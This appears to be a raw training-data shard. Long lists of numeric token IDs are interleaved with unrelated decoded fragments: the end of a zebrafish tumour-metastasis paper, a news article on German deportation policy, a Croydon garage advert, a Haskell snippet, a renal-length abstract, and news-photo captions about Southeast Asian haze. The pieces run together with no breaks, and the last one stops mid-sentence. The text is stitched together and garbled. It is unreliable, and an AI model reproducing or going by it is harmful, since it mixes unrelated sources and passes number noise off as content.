8011, 27652, 8011, 63, 16697, 610, 375, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 854, 187, 187, 424, 5077, 1322, 10456, 12530, 31373, 4205, 35055, 273, 247, 18404, 18258, 38887, 26223, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 898, 187, 187, 424, 23644, 25101, 273, 18404, 18258, 1341, 12530, 10417, 14, 2606, 6440, 273, 18404, 18258, 1341, 275, 253, 35836, 337, 1388, 846, 247, 18404, 2923, 10087, 369, 38887, 15, 4082, 42144, 18258, 1341, 285, 18258, 1341, 534, 452, 32792, 284, 456, 715, 253, 591, 400, 5670, 4408, 273, 247, 495, 1388, 1711, 35836, 403, 7985, 15, 329, 4886, 3625, 1966, 18258, 894, 8136, 949, 253, 36112, 267, 17716, 285, 715, 271, 734, 29429, 267, 11179, 310, 671, 7985, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 5146, 14117, 1873, 884, 187, 187, 424, 53, 360, 454, 894, 275, 253, 35244, 1177, 12530, 10417, 14, 2606, 6440, 273, 247, 18404, 2923, 894, 7808, 26696, 272, 949, 253, 35244, 1177, 313, 783, 36112, 267, 17716, 10, 273, 247, 42784, 9, 71, 965, 18, 27, 70, 14160, 10, 35836, 26223, 15, 187, 187, 5146, 2490, 187, 7146, 1060, 323, 1873, 187, 187, 35838, 187, 1702, 187, 187, 1231, 651, 751, 281, 5717, 443, 15, 19353, 1808, 323, 28106, 253, 6521, 1341, 13, 3826, 90, 372, 34534, 323, 521, 629, 273, 5893, 15519, 285, 8174, 493, 21405, 22993, 285, 500, 12451, 45101, 254, 323, 4619, 16157, 327, 253, 7714, 15, 844, 651, 2007, 751, 281, 14409, 285, 5717, 253, 308, 3090, 12188, 257, 5307, 29891, 42849, 285, 1889, 293, 895, 261, 13, 347, 253, 3236, 2603, 273, 253, 502, 13807, 10500, 19019, 15, 831, 789, 369, 4516, 407, 16311, 432, 253, 26467, 12153, 323, 6875, 285, 10784, 313, 52, 6764, 41, 16, 8561, 16, 1630, 24724, 16, 8603, 582, 253, 45187, 611, 21363, 1200, 300, 453, 313, 740, 14, 938, 2405, 14, 4015, 10, 285, 253, 1219, 41717, 14, 44, 579, 377, 14, 38034, 15, 187, 6175, 253, 5685, 4400, 2208, 310, 2819, 281, 2572, 253, 1180, 273, 44581, 569, 273, 4242, 23717, 44774, 13, 9933, 13001, 3977, 407, 1669, 14, 7706, 4676, 403, 2820, 281, 3657, 731, 15, 187, 187, 7130, 281, 253, 5685, 7671, 13677, 323, 49063, 285, 44438, 265, 313, 35, 2300, 39, 582, 273, 253, 337, 15, 21, 3041, 25991, 665, 2210, 281, 253, 2586, 1580, 4059, 11184, 685, 2716, 497, 7169, 2120, 23717, 28, 253, 5780, 2716, 497, 840, 2783, 2057, 4242, 23717, 44774, 390, 9676, 16618, 13, 5012, 9362, 47679, 15, 187, 187, 4527, 253, 8307, 273, 6763, 273, 2442, 44581, 4317, 760, 5325, 13, 933, 13, 6571, 432, 253, 41028, 507, 13, 452, 25706, 1669, 6176, 281, 1091, 281, 616, 2860, 293, 2287, 15, 3900, 690, 5619, 26886, 285, 13376, 47912, 452, 4783, 896, 1955, 281, 27531, 342, 616, 2629, 273, 3811, 275, 23717, 9076, 13, 1142, 4242, 23717, 44774, 432, 3729, 7531, 3464, 1955, 281, 253, 1029, 4815, 285, 440, 1940, 7105, 13001, 275, 616, 1728, 4343, 15, 187, 187, 510, 4676, 273, 253, 5685, 1669, 1108, 253, 8404, 10823, 313, 4350, 37, 582, 253, 33315, 13, 285, 9362, 18077, 413, 313, 783, 15584, 10, 1108, 971, 281, 1527, 598, 2442, 11865, 323, 4242, 23717, 44774, 281, 2489, 8811, 2581, 685, 44581, 731, 15, 41332, 13, 253, 747, 1669, 14, 7706, 20706, 2208, 275, 253, 5685, 5347, 273, 12911, 403, 970, 616, 1612, 281, 3657, 44581, 569, 275, 253, 2846, 15, 187, 187, 510, 773, 433, 14, 433, 14, 11707, 668, 20706, 347, 597, 403, 1929, 971, 281, 2794, 247, 773, 1148, 324, 15379, 5333, 668, 326, 651, 11907, 10945, 23717, 44774, 281, 564, 1728, 25706, 2581, 685, 3490, 731, 281, 3553, 15, 380, 2118, 812, 2847, 3237, 347, 1142, 665, 16410, 281, 3553, 812, 320, 1677, 9928, 37647, 3708, 534, 846, 4314, 1107, 812, 1014, 1421, 281, 731, 1146, 26299, 5685, 24588, 15, 187, 187, 14067, 253, 2208, 14707, 281, 1091, 690, 1249, 13, 933, 13376, 47912, 13, 253, 1669, 4676, 1750, 253, 2586, 310, 1335, 1512, 8312, 323, 731, 281, 1091, 13, 5747, 253, 5685, 4400, 2208, 1024, 3183, 2182, 16111, 347, 247, 4999, 2586, 15, 380, 2502, 14, 433, 14, 72, 10436, 1014, 12009, 253, 2934, 273, 44581, 272, 35532, 896, 281, 253, 41028, 266, 3054, 984, 597, 4138, 326, 597, 651, 11089, 432, 247, 3480, 273, 4730, 13, 14192, 13, 285, 11081, 15, 187, 187, 1909, 504, 432, 12911, 13, 2067, 643, 4811, 452, 1705, 562, 1411, 6726, 44581, 569, 824, 347, 378, 2013, 257, 13, 596, 981, 571, 13, 285, 3697, 868, 28015, 14, 24095, 6339, 3692, 13001, 403, 512, 6537, 407, 1669, 14, 7706, 10089, 4431, 15, 187, 187, 37356, 342, 8109, 271, 990, 281, 6726, 44581, 569, 13, 253, 1669, 4676, 403, 23318, 273, 2021, 27135, 1877, 1146, 6508, 4457, 616, 8993, 2021, 6941, 25991, 281, 3324, 616, 6508, 2021, 281, 6176, 13, 347, 973, 15, 187, 187, 10195, 25991, 13, 5619, 26886, 275, 1798, 13, 403, 402, 272, 378, 2300, 39, 281, 755, 2120, 23717, 3708, 281, 1056, 2021, 27135, 1877, 6927, 13, 533, 841, 2219, 452, 3977, 281, 581, 5963, 27906, 326, 417, 512, 5619, 26886, 943, 320, 8356, 12258, 347, 14905, 19382, 15, 28782, 7225, 272, 27, 187, 187, 34960, 457, 84, 5271, 375, 10867, 486, 708, 27376, 982, 330, 4926, 9903, 187, 187, 21096, 281, 11290, 457, 84, 5271, 375, 27376, 982, 15, 35211, 1428, 275, 14828, 285, 342, 6746, 1131, 2439, 330, 4926, 9903, 285, 697, 8704, 3672, 13, 359, 403, 634, 11453, 285, 9630, 1980, 17823, 323, 512, 273, 634, 1733, 4263, 3198, 15, 844, 3959, 247, 15143, 1249, 14, 7791, 17529, 327, 512, 4243, 285, 18213, 13, 2299, 1943, 390, 1355, 13, 4933, 368, 4555, 253, 6330, 273, 2564, 326, 368, 878, 672, 634, 4958, 3198, 789, 2509, 15, 187, 187, 31352, 1131, 187, 187, 1231, 403, 247, 973, 4232, 34794, 9145, 285, 4958, 8706, 9145, 13, 342, 6746, 1131, 4441, 1475, 330, 4926, 9903, 13, 512, 273, 776, 34794, 6746, 1131, 403, 4441, 327, 2022, 13939, 15, 1916, 19912, 776, 6746, 1131, 4496, 4143, 776, 3057, 3239, 285, 1859, 776, 12453, 2530, 15, 2726, 776, 2285, 273, 4122, 12165, 285, 7407, 40560, 285, 776, 14260, 14, 17556, 6746, 1131, 13, 359, 403, 2104, 281, 3959, 247, 4618, 2491, 273, 8651, 3238, 13, 432, 247, 963, 250, 1818, 390, 1113, 2579, 281, 271, 3948, 21550, 15, 187, 187, 31352, 486, 9491, 187, 187, 1231, 3959, 253, 2120, 2491, 273, 19476, 3238, 368, 651, 1902, 432, 247, 806, 966, 19476, 1690, 1296, 11733, 13, 34794, 84, 13, 3948, 39266, 285, 6753, 5637, 84, 347, 973, 347, 247, 2491, 273, 25931, 15, 3824, 19476, 3238, 1705, 4122, 8521, 285, 594, 513, 776, 7911, 28, 359, 15555, 9361, 327, 17749, 776, 7911, 403, 1900, 4934, 387, 247, 12085, 2281, 15 ]	an almost entirely transparent body have been described, as a novel tool for in vivotransplantation analysis \[[@B35]\]. These will be of interest for additional comparative analysis of metastasis formation of primary tumours in the immune competent animal. Conclusion ========== We demonstrate here the applicability of the zebrafish embryo as an in vivomodel for the analysis of metastatic behaviour of human tumour cells, including resection specimen from human tissue. High resolution imaging of live zebrafish has and will further assist in better understanding the underlying mechanisms of cancer cell invasion and metastasis formation. Advantages of the model system such as good accessibility, easy handling, low costs and rapidness are unparalleled by other vertebrate organisms and make it a promising system for future functional studies in primary tumours. The advantages of the \"short term\" zebrafish embryo model could nicely complement established \"longer term\" tumour models, e.g. mouse models, and may be a valuable and efficient tool to evaluate novel therapeutic strategies for cancer. Competing interests statement ============================= The authors declare that they have no competing interests. Authors\' contributions ======================= IJM, FUW, CN, LIP, CDH, MML and CPB did experimental work and helped with writing the manuscript. CPB did project planning and wrote the manuscript. All authors read and approved the final manuscript. Pre-publication history ======================= The pre-publication history for this paper can be accessed here: <http://www.biomedcentral.com/1471-2407/9/128/prepub> Supplementary Material ====================== ###### Additional file 1 Supplemental Tables. Tables of all experiments including tumour transplantations and injections of primary tumor cells, control tissues, EpRas and EpRasTGF-β cells, PaTu-S and PaTu-T cells,Protease inhibitor treated cells and benign tumours (Colon Polyps). ###### Click here for file ###### Additional file 2 EpRas cells. 3D reconstruction of EpRas cells in the yolk at 3dpi (20x magnification). ###### Click here for file ###### Additional file 3 TGF-β treated EpRas cells. 3D reconstruction of EpRas TGF-β treated cells in the dorsal aorta at 3dpi (20x magnification). ###### Click here for file ###### Additional file 4 Time lapse movie of implanted TGF-β treated EpRas cells. Supplemental Movie 1: Time lapse movie (rate: 1 frame/minute) showing EpRas TGF-β cells which have invaded the zebrafish body, have translocated into the vasculature and have colonized distant sites in the 5 day old larvae. Some cells are visible in the blood stream whereas others have extravasated from the vasculature. ###### Click here for file ###### Additional file 5 *Wound healing in vitromigration assay (\"scratch assay\"). Cell-based in vitromigration assay for PaTu-S and PaTu-T cells. ###### Click here for file ###### Additional file 6 Lack of circulation in cloche^-/-^mutants. Real time movie of control fish and cloche^-/-^fish at 3 dpf (1 dpi). The movie shows a control fish with a beating heart and with visible circulating blood cells. The second part of the movie illustrates a cloche^-/-^fish with a beating heart. No circulation is observable in the mutant fish; the third part of the movie is a higher magnification of a control fish in the area of the blood islands and tail, showing cells circulating in the vasculature e.g. caudal vein, dorsal aorta and intersegmental vessels. The last part of the movie shows a higher magnification of a cloche^-/-^fish in the same area of the blood islands as the control. In contrast to the control zebrafish, the cloche^-/-^fish does not possess a functional vascular system and shows no sign of circulation. ###### Click here for file ###### Additional file 7 No metastatic behaviour of implanted tumour cells in cloche mutant embryos. PaTu-T cells injected into control and cloche^-^/^-^embryos. ###### Click here for file ###### Additional file 8 PCNA staining. Whole mount immunofluorescence of a pancreatic tumour transplanted embryo. ###### Click here for file ###### Additional file 9 Circulation of pancreatic tumour cells. Real-time movie of pancreatic tumour cells in the zebrafish 1 day after a pancreatic cancer fragment was transplanted. Circulating tumour cells and tumour cells which have extravasated into the perivascular tissue of a 3 day old zebrafish are visible. A moving primary human tumour cell passing through the caudal vein and into an intersegmental vessel is also visible. ###### Click here for file ###### Additional file 10 Tumour cell in the vasculature*. Real-time movie of a pancreatic cancer cell slowly traversing through the vasculature (the caudal vein) of a Tg(fli1:eGFP) zebrafish embryo. ###### Click here for file Acknowledgements ================ We would like to thank G. Posern for supplying the mouse cells, Davy de Witt for his part of animal welfare and Joost Woltering and Jaya Besser for critical remarks on the manuscript. We would further like to acknowledge and thank the Tübingen 2000 Screen Consortium and Exelixis, as the original source of the cloche mutant embryos. This work was supported by grants from the Portuguese foundation for Science and Technology (SFRH/BD/27262/2006), the Deutsche Krebshilfe (10-2031-Le) and the Alfried-Krupp-Foundation. While the German federal government is looking to increase the number of deportations of failed asylum seekers, regional governments led by left-wing parties are trying to prevent them. According to the German Federal Agency for Migration and Refugees (BAMF), of the 1.4 million migrants who came to the country since 2014 fewer than half were granted full asylum; the remaining half were then considered either failed asylum seekers or illegal immigrants, reports Die Welt. Of the hundreds of thousands of potential deportees only 95,000, mostly from the Balkans, have voluntarily left Germany to return to their homelands. While some Syrians and Afghan nationals have gone back due to disappointment with their standard of living in asylum homes, many failed asylum seekers from North Africa remain due to the high costs and uncooperative governments in their home countries. The parties of the German left – the Social Democrats (SPD), the Greens, and Die Linke (the Left) – want to open up potential paths for failed asylum seekers to become residents rather than deport them. Already, the new left-wing coalition government in the German capital of Berlin are using their power to prevent deportations in the city. The “red-red-green” coalition as they are known want to create a “paradigm shift” that would encourage rejected asylum seekers to go home voluntarily rather than force them to leave. The move could cause problems as many who refuse to leave could be given permanent residency status which after eight years could even lead to them being afforded German citizenship. Despite the government wanting to return some 12,000 Afghan nationals, the left parties claim the country is still too dangerous for them to return, despite the German federal government now recognising Afghanistan as a safe country. The red-red-greens even reject the idea of deporting Roma back to the Balkan states because they assert that they would suffer from a lack of education, poverty, and discrimination. Aside from Berlin, several other regions have come out against forced deportations such as Bremen, Thuringia, and Schleswig-Holstein whose governments are all controlled by left-wing coalitions. Along with supporting an end to forced deportations, the left parties are advocates of family reunification being extended beyond their immediate family allowing migrants to bring their extended family to Germany, as well. Many migrants, Syrians in particular, are suing BAMF to get full asylum status to make family reunification easier, but these cases have led to one judge declaring that not all Syrians should be automatically regarded as legitimate refugees.Quick Booking: Ken’s Autos Garage & Mechanics Croydon Welcome to Ken’s Autos Mechanics. Established in 1976 and with garages across Croydon and its surrounding areas, we are your friendly and reliable local mechanics for all of your motoring needs. We offer a fantastic 12-month warranty on all parts and labour, however big or small, giving you exactly the peace of mind that you need when your vehicle needs work doing. Garages We are a well established MOT centre and vehicle repair centre, with garages located around Croydon, all of our MOT garages are located on main roads. To locate our garages please visit our contact page and view our addresses provided. With our team of highly qualified and experienced technicians and our hi-tech garages, we are able to offer a wide range of mechanical services, from a tyre change or car service to an engine rebuild. Garage Services We offer the full range of garage services you would expect from a first class garage including servicing, MOTs, engine diagnostics and auto electrics as well as a range of repairs. Our garage services come highly recommended and so do our prices; we pride ourselves on ensuring our prices are always kept at a competitive rate.
[ 559, 24615, 27475, 187, 187, 5045, 17374, 273, 551, 31814, 551, 10464, 91, 426, 10464, 91, 13, 24615, 27475, 426, 24615, 27475, 748, 5204, 10464, 91, 559, 24615, 27475, 748, 535, 21595, 13, 2363, 14, 3169, 7212, 323, 21565, 10919, 2978, 275, 2151, 15, 187, 1992, 3653, 247, 2969, 13, 2363, 1754, 7212, 323, 21565, 7445, 10919, 2978, 275, 2151, 15, 12751, 267, 1979, 310, 247, 9865, 10705, 275, 253, 7103, 273, 2151, 342, 1484, 36083, 9360, 15, 4129, 1142, 4477, 452, 2529, 2570, 7163, 17629, 285, 21471, 23276, 323, 8925, 10919, 1979, 13, 359, 12661, 247, 2969, 285, 7899, 7212, 15, 1876, 10919, 18533, 313, 3016, 10, 2175, 2684, 689, 247, 898, 14, 2913, 2180, 275, 1363, 654, 1093, 1107, 273, 2363, 497, 39599, 6760, 13, 22914, 1363, 342, 247, 2892, 273, 19006, 10649, 2728, 390, 342, 10969, 10919, 1982, 4342, 15, 18039, 33035, 2261, 497, 2684, 275, 818, 3141, 2151, 654, 1093, 1107, 665, 1313, 11250, 6866, 15, 49954, 14, 531, 2558, 273, 253, 3110, 3072, 369, 12667, 18, 807, 273, 2363, 387, 253, 673, 273, 253, 1982, 15, 34981, 14, 12496, 2558, 273, 253, 2151, 497, 5086, 15, 496, 2151, 337, 807, 273, 2363, 390, 5662, 13, 253, 7212, 369, 2978, 313, 3591, 10, 426, 2363, 313, 10526, 10, 6806, 470, 15, 20, 559, 721, 13, 416, 9, 19, 10, 426, 964, 3593, 15, 496, 15330, 9243, 685, 337, 807, 13, 10919, 2978, 369, 15225, 5998, 407, 247, 2969, 2363, 14, 3169, 7212, 15, 3824, 4081, 7212, 476, 320, 908, 281, 3283, 10919, 2978, 275, 2151, 5662, 685, 337, 807, 15, 41937, 9549, 327, 19750, 281, 564, 281, 2143, 347, 419, 2721, 432, 4956, 43156, 23069, 264, 253, 473, 1247, 7121, 275, 5226, 16697, 606, 13, 3684, 7069, 29628, 13, 23340, 13, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 13303, 43156, 4269, 407, 9676, 2659, 22980, 275, 23340, 434, 7069, 29628, 285, 378, 9584, 80, 17546, 2223, 5195, 448, 6856, 419, 2721, 281, 20667, 4343, 824, 347, 23799, 285, 16861, 15, 313, 2088, 15837, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 17557, 698, 757, 2255, 8251, 25965, 1955, 281, 253, 419, 2721, 275, 611, 780, 66, 418, 1765, 321, 13, 23799, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 329, 3828, 273, 5536, 419, 2721, 556, 6726, 48191, 9061, 281, 6294, 6629, 275, 1740, 3054, 13, 1690, 611, 780, 66, 418, 1765, 321, 13, 342, 6338, 281, 3135, 9005, 396, 7022, 5871, 281, 1611, 281, 10808, 9313, 281, 1361, 2590, 253, 2329, 15, 313, 2088, 15837, 16, 39324, 5738, 5171, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 17557, 698, 2458, 8251, 25965, 1955, 281, 253, 419, 2721, 275, 611, 780, 66, 418, 1765, 321, 13, 23799, 327, 7948, 13, 4005, 15, 1458, 13, 4104, 15, 329, 3828, 273, 5536, 419, 2721, 556, 6726, 48191, 9061, 281, 6294, 6629, 275, 1740, 3054, 13, 1690, 611, 780, 66, 418, 1765, 321, 13, 342, 6338, 281, 3135, 9005, 396, 7022, 5871, 281, 1611, 281, 10808, 9313, 281, 1361, 2590, 253, 2329, 15, 313, 2088, 15837, 16, 39324, 5738, 5171, 10, 187, 9, 510, 23323, 5687, 10, 187, 187, 44, 31440, 34, 44525, 4548, 3322, 13, 23799, 1108, 32592, 419, 2721, 6726, 48191, 9061, 281, 6294, 6629, 7948, 275, 1264, 3054, 285, 767, 2234, 8238, 347, 9954, 497, 281, 3135, 9005, 14, 339, 7022, 5871, 281, 10808, 9313, 281, 1361, 2590, 253, 2329, 15, 187, 187, 8207, 2487, 571, 45253, 6031, 281, 1021, 29641, 253, 9741, 19333, 326, 2847, 253, 419, 2721, 13, 534, 23069, 264, 4243, 273, 253, 4222, 48189, 5477, 285, 20667, 4343, 15, 3918, 500, 23988, 346, 43, 536, 319, 74, 3, 39407, 19095, 6960, 11009, 281, 897, 512, 2097, 13, 45021, 625, 10824, 13, 281, 11399, 253, 419, 2721, 15, 187, 187, 510, 5026, 13, 16076, 3168, 419, 2721, 310, 271, 7970, 11562, 6571, 4269, 407, 19333, 30060, 873, 281, 2590, 2659, 323, 23420, 15, 187, 187, 34, 6415, 13496, 342, 17110, 281, 3727, 275, 253, 2329, 326, 588, 1361, 16173, 4711, 9313, 369, 1955, 281, 8778, 689, 611, 780, 66, 418, 1765, 321, 285, 8704, 3672, 13, 753, 30173, 15387, 478, 266, 15493, 312, 324, 13, 247, 31710, 1975, 7811, 8474, 3565, 15, 329, 1273, 9954, 369, 11526, 281, 8778, 689, 611, 976, 272, 275, 9997, 1403, 518, 1375, 327, 378, 9584, 80, 8930, 15, 187, 187, 2993, 753, 253, 9005, 14, 339, 7022, 310, 9355, 323, 1264, 1897, 533, 588, 3469, 327, 9005, 11659, 285, 8588, 2515, 15, 380, 734, 14, 2163, 38753, 2952, 310, 3264, 281, 1265, 275, 3563, 4397, 13, 9745, 625, 9313, 689, 4331, 968, 792, 23799, 281, 2590, 598, 253, 419, 2721, 15, 187, 187, 3, 1147, 588, 3324, 11287, 6619, 533, 5913, 352, 310, 13, 359, 452, 281, 2953, 253, 2603, 273, 253, 1895, 937, 703, 753, 15, 187, 187, 8207, 2487, 571, 434, 3313, 5201, 2237, 12799, 5538, 13677, 39752, 337, 13, 9519, 10824, 281, 253, 954, 34614, 3612, 14254, 273, 416, 571, 86, 327, 7948, 13, 581, 1388, 271, 8945, 369, 8884, 1955, 281, 253, 2329, 3290, 275, 253, 759, 255, 14, 5969, 14254, 15, 187, 187, 510, 6757, 753, 12891, 6251, 273, 271, 17832, 3513, 3490, 651, 956, 8330, 281, 3684, 7069, 29628, 285, 500, 1369, 74, 8170, 16527, 303, 386, 266, 285, 416, 571, 86, 15, 9859, 6794, 13, 337, 13, 30479, 4668, 11570, 497, 2197, 281, 1361, 3802, 2066, 562, 19333, 275, 3684, 7069, 29628, 15, 187, 187, 6080, 5910, 273, 23799, 434, 8073, 2329, 3290, 10988, 5950, 36713, 2329, 2308, 2393, 7948, 15, 23799, 434, 4730, 20454, 4321, 6960, 6629, 275, 611, 780, 66, 418, 1765, 321, 13, 2208, 10656, 5347, 9272, 43792, 12451, 347, 973, 347, 16120, 606, 263, 13, 15186, 25933, 13740, 33331, 266, 285, 5979, 3649, 66, 3054, 281, 2810, 7948, 15, 187, 187, 688, 16861, 13, 2329, 17432, 4925, 1077, 36713, 2308, 15, 10164, 14460, 273, 436, 8849, 434, 7970, 26658, 2596, 2360, 5492, 403, 7562, 247, 2810, 3698, 327, 253, 4112, 281, 7617, 1880, 352, 588, 320, 4999, 281, 5492, 15, 380, 16861, 8481, 36244, 556, 1900, 644, 2918, 387, 436, 673, 273, 807, 13, 285, 1223, 627, 556, 644, 690, 419, 2721, 275, 2469, 1107, 1955, 281, 253, 9741, 19333, 13, 352, 556, 1620, 14415, 253, 5492, 432, 1469, 6386, 15, 35, 31862, 387, 253, 16221, 14538, 17165, 187, 187, 35, 31862, 39858, 387, 253, 16221, 14538, 17165, 369, 253, 20117, 7286, 273, 253, 9678, 273, 14648, 347, 271, 3565, 19898, 19358, 2362, 15, 733, 2335, 1659, 387, 253, 5226, 37831, 372, 3897, 3315, 430, 265, 275, 8987, 3228, 13, 8987, 432, 4437, 2145, 281, 4437, 2030, 13, 16221, 15, 380, 1986, 2077, 16473, 40787, 571, 281, 3330, 616, 20117, 4951, 5328, 19358, 275, 436, 9678, 13, 1223, 253, 12194, 6398, 12431, 253, 26247, 1411, 10869, 15, 187, 187, 10818, 267, 6010, 187, 187, 34255, 1877, 187, 7034, 8977, 32696, 497, 7169, 281, 253, 3167, 2586, 285, 253, 806, 2620, 5053, 387, 253, 2045, 14811, 15, 14117, 13977, 497, 4425, 407, 2710, 39222, 37410, 2918, 407, 401, 5472, 34, 5043, 767, 3081, 734, 8190, 3950, 37410, 326, 7169, 767, 4465, 17099, 20556, 1016, 15, 187, 187, 10069, 187, 5761, 2390, 273, 4314, 6671, 403, 4447, 13, 835, 253, 1755, 767, 432, 1016, 1387, 15639, 323, 253, 40615, 275, 247, 26738, 3790, 15, 187, 380, 5780, 5053, 403, 2931, 347, 3637, 27, 187, 32702, 394, 949, 23738, 5053, 403, 4425, 275, 247, 4858, 24312, 875, 253, 2626, 285, 7002, 5053, 432, 1016, 1387, 275, 247, 4858, 24312, 15, 187, 47, 11902, 949, 2800, 16565, 5053, 403, 4425, 875, 253, 10720, 949, 23738, 5053, 432, 1016, 1387, 275, 4858, 26609, 15, 187, 187, 52, 3362, 84, 187, 2214, 253, 2285, 687, 13297, 923, 27, 40751, 387, 253, 16221, 14538, 17165, 1108, 9730, 434, 2285, 687, 13297, 15, 187, 187, 49, 34466, 3790, 187, 510, 1755, 767, 6671, 432, 1016, 1387, 7170, 281, 253, 45406, 10529, 13, 1223, 253, 5780, 6671, 15639, 323, 608, 394, 949, 1668, 394, 5053, 275, 4858, 26609, 15, 6295, 1387, 7038, 13, 253, 1986, 2077, 285, 253, 12194, 6398, 7269, 15560, 453, 456, 281, 253, 26738, 3924, 15, 187, 187, 6998, 329, 187, 187, 22117, 2145, 187, 187, 22117, 1638, 187, 187, 22117, 1458, 187, 187, 22117, 1668, 187, 187, 22117, 1283, 187, 187, 22117, 655, 187, 187, 22117, 1384, 187, 187, 6998, 378, 187, 187, 22117, 2145, 187, 187, 22117, 1638, 187, 187, 22117, 1458, 187, 187, 22117, 1668, 187, 187, 22117, 1283, 187, 187, 22117, 655, 187, 187, 22117, 1384, 187, 187, 18933, 825, 483, 3924, 50276, 187, 510, 1199, 17683, 2457, 875, 380, 1986, 2077, 285, 253, 48727, 651, 452, 281, 3343, 1740, 1107, 15, 50276, 58, 814, 31792, 571, 33575, 253, 10968, 46426, 9654, 14, 3763, 275, 253, 45406, 10529, 15, 50275, 688, 253, 15730, 2165, 253, 7108, 574, 247, 27973, 4567, 14, 1717, 1421, 387, 734, 2230, 50276, 2858, 1691, 253, 2165, 562, 273, 3986, 342, 247, 3307, 14, 20, 36557, 281, 1265, 253, 1273, 2716, 15, 187, 187, 10818, 267, 24312, 187, 187, 4947, 1877, 26609, 187, 22, 394, 1253, 25, 394, 13470, 187, 187, 26, 394, 1253, 805, 394, 13470, 187, 187, 1012, 394, 1253, 1036, 394, 13470, 187, 187, 42452, 187, 187, 21747, 1462, 723, 187, 187, 4941, 187, 187, 7504, 4859, 187, 38023, 19898, 10840, 187, 187, 1413, 27, 25929, 14538, 17165, 3394, 187, 25929, 187, 33264, 982, 8917, 253, 952, 273, 44509, 27356, 665, 4102, 7428, 432, 8170, 3968, 281, 253, 1982, 5680, 26761, 634, 1501, 670, 253, 594, 14, 8890, 13163, 8891, 32, 1680, 436, 253, 3634, 32, 187, 187, 510, 2897, 296, 670, 436, 2523, 310, 346, 28235, 417, 512, 326, 9542, 449, 187, 187, 20167, 952, 3653, 752, 616, 13163, 3646, 310, 13, 285, 597, 2223, 3630, 352, 715, 616, 7410, 15, 6000, 2586, 275, 253, 1533, 556, 2218, 436, 275, 3332, 1107, 15, 380, 1982, 556, 2218, 436, 28557, 275, 253, 830, 273, 10843, 15, 733, 434, 417, 25754, 595, 2570, 13, 275, 619, 4743, 15, 380, 28866, 3162, 326, 310, 4390, 275, 1659, 13, 347, 247, 2647, 273, 958, 13, 4453, 4030, 281, 479, 15, 28866, 556, 12686, 284, 285, 310, 1754, 2220, 253, 1563, 27, 253, 27135, 1877, 273, 5870, 13, 28168, 16618, 342, 6936, 326, 403, 9865, 281, 253, 530, 15, 52, 15, 6982, 13, 15233, 19382, 13, 285, 14312, 9991, 15, 1893, 987, 745, 253, 1755, 13, 619, 1481, 310, 417, 1414, 4442, 13, 534, 2789, 352, 2834, 281, 2096, 752, 253, 17123, 7281, 16954, 342, 616, 12345, 27715, 22324, 403, 2820, 281, 1333, 15, 187, 187, 1276, 309, 513, 871, 310, 253, 650, 338, 1336, 38648, 5759, 16410, 281, 3630, 13163, 10843, 597, 651, 751, 281, 1691, 715, 1659, 281, 8171, 752, 359, 4390, 452, 15, 309, 35533, 326, 253, 952, 665, 1211, 731, 588, 417, 1339, 731, 513, 594, 323, 4832, 4606, 15, 1292, 309, 651, 3524, 597, 403, 417, 970, 634, 9269, 4385, 347, 247, 7102, 13, 984, 1046, 2014, 3159, 273, 352, 310, 1754, 327, 3731, 18480, 670, 253, 2469, 13, 390, 327, 32408, 9990, 13, 390, 327, 40663, 670, 752, 310, 1609, 981, 21654, 15, 187, 187, 42, 1353, 417, 1469, 281, 372, 17439, 253, 2644, 38519, 2181, 13, 533, 36433, 281, 1333, 13, 253, 952, 273, 44509, 27356, 403, 417, 9676, 28840, 15, 1583, 858, 417, 2940, 281, 253, 1982, 281, 2489, 9676, 28840, 15, 2091, 359, 11069, 616, 2586, 21403, 407, 689, 394, 18639, 616, 8738, 5372, 428, 43514, 6657, 285, 20864, 253, 1655, 19827, 13, 952, 342, 4619, 4680, 6936, 4745, 17683, 436, 8891, 15, 380, 44509, 321, 507, 13, 323, 1024, 13, 403, 9433, 323, 11287, 29302, 1098, 261, 15, 1583, 403, 3515, 323, 616, 4852, 15, 187, 187, 2598, 13, 987, 745, 253, 10464, 13, 1110, 7281, 16954, 1056, 642, 3282, 15, 12286, 4116, 281, 634, 22118, 15, 3166, 1110, 1957, 634, 4680, 32, 6272, 368, 762, 253, 13214, 326, 253, 16400, 5020, 273, 9676, 28840, 21863, 247, 19354, 390, 3802, 1807, 2439, 253, 13438, 281, 755, 715, 253, 1986, 2077, 32, 6272, 368, 762, 253, 13214, 326, 7108, 3663, 616, 9383, 33610, 7375, 281, 28108, 6143, 13, 11609, 369, 3398, 13, 6429, 2352, 13, 285, 9279, 2619, 398, 32, 187, 187, 510, 1982, 556, 5339, 16, 26316, 264, 253, 4852, 273 ]	+ zoinx case foo of { Foo { batz = batz, zoinx = zoinx } -> batz + zoinx } Simple, age-based formula for predicting renal length in children. To determine a simple, age based formula for predicting ideal renal length in children. Renal size is a valuable marker in the evaluation of children with urological disorders. Although many authors have described complex nomograms and multivariate formulas for determining renal size, we propose a simple and accurate formula. All renal ultrasound (US) studies performed over a 9-year period in patients <18 years of age were retrospectively evaluated, excluding patients with a history of urinary tract disease or with abnormal renal US findings. Ultrasounds were performed in 778 children <18 years who met inclusion criteria. Sixty-one percent of the patient population was ≥1 year of age at the time of the US. Forty-four percent of the children were male. In children 1 year of age or older, the formula was length (cm) = age (years) × 0.3 + 6, R(2) =.81. In infants younger than 1 year, renal length was poorly estimated by a simple age-based formula. Our proposed formula can be used to predict renal length in children older than 1 year.Students ride on boats to go to school as haze from wildfires blanketed the Ogan River in Palembang, South Sumatra, Indonesia, Tuesday, Sept. 15, 2015. Wildfires caused by illegal land clearing in Indonesia's Sumatra and Borneo islands often spread choking haze to neighboring countries such as Malaysia and Singapore. (AP Photo) (The Associated Press) Malaysian women wear masks due to the haze in Kuala Lumpur, Malaysia Tuesday, Sept. 15, 2015. A layer of heavy haze has forced Malaysian authorities to shut schools in four states, including Kuala Lumpur, with officials to begin cloud seeding operations to try to induce rain to help clear the air. (AP Photo/Joshua Paul) (The Associated Press) Malaysians wear masks due to the haze in Kuala Lumpur, Malaysia on Tuesday, Sept. 15, 2015. A layer of heavy haze has forced Malaysian authorities to shut schools in four states, including Kuala Lumpur, with officials to begin cloud seeding operations to try to induce 